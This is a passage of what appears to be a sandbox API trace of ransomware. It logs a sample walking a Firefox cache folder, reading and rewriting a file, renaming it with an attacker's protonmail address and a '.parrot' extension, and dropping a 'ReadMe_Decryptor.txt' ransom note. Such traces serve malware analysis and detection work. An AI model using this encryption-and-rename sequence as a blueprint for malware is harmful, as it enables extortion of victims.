HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.122] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.123] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1345000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1345000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B", cAlternateFileName="")) returned 1 [0087.123] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc136b160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc136b160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2", cAlternateFileName="")) returned 1 [0087.123] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc13dd580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc13dd580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 1 [0087.123] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc13dd580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc13dd580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 0 [0087.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.123] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.123] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0087.123] lstrcmpW (lpString1="2", lpString2=".") returned 1 [0087.123] lstrcmpW (lpString1="2", lpString2="..") returned 1 [0087.123] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.124] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.124] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.124] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.124] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.124] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.124] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.124] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.124] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1 [0087.124] lstrcmpW (lpString1="3", lpString2=".") returned 1 [0087.125] lstrcmpW (lpString1="3", lpString2="..") returned 1 [0087.125] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.125] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.125] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.125] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.126] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.126] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 1 [0087.126] lstrcmpW (lpString1="4B", lpString2=".") returned 1 [0087.126] lstrcmpW (lpString1="4B", lpString2="..") returned 1 [0087.126] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.127] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.127] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.129] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.129] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.129] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb72eeab0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x20543, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D8FDd01", cAlternateFileName="")) returned 1 [0087.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0087.129] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.129] lstrcmpW (lpString1="1D8FDd01", lpString2="ReadMe_Decryptor.txt") returned -1 [0087.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.130] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x20543 [0087.130] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2065b, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.130] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.130] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.131] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.132] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x20543, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x20543, lpOverlapped=0x0) returned 1 [0087.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0087.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0087.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0087.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0087.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x2252f38 [0087.133] GetLastError () returned 0x0 [0087.138] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0087.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0087.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0087.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0087.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0087.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c198 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c198 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178f08 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x31790f0 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x31793c0 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31790f0 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31797f8 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793c0 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x31ca0a0 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31797f8 | out: hHeap=0x5b0000) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3178f08 [0087.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ca0a0 | out: hHeap=0x5b0000) returned 1 [0087.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31ca0a0 [0087.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x31cb5e0 [0087.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ca0a0 | out: hHeap=0x5b0000) returned 1 [0087.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31cd5a8 [0087.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31cb5e0 | out: hHeap=0x5b0000) returned 1 [0087.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d0540 [0087.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31cd5a8 | out: hHeap=0x5b0000) returned 1 [0087.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31d4c90 [0087.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d0540 | out: hHeap=0x5b0000) returned 1 [0087.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ca0a0 [0087.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d4c90 | out: hHeap=0x5b0000) returned 1 [0087.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31d40d0 [0087.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ca0a0 | out: hHeap=0x5b0000) returned 1 [0087.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x31e3108 [0087.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d40d0 | out: hHeap=0x5b0000) returned 1 [0087.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2252f38 [0087.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e3108 | out: hHeap=0x5b0000) returned 1 [0087.148] WriteFile (in: hFile=0x278, lpBuffer=0x2252f40*, nNumberOfBytesToWrite=0x20668, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2252f40*, lpNumberOfBytesWritten=0x18e024*=0x20668, lpOverlapped=0x0) returned 1 [0087.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.148] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2065b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.148] CloseHandle (hObject=0x278) returned 1 [0087.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0087.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223e470 [0087.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0087.149] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0087.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0087.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69da28 [0087.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0087.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0087.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.151] GetFileType (hFile=0x278) returned 0x1 [0087.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2252f38 [0087.172] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.172] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1429840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1429840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.172] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc1429840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x20668, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D8FDd01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="1D8FDD~1.PAR")) returned 1 [0087.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0087.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0087.177] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.177] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.179] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, 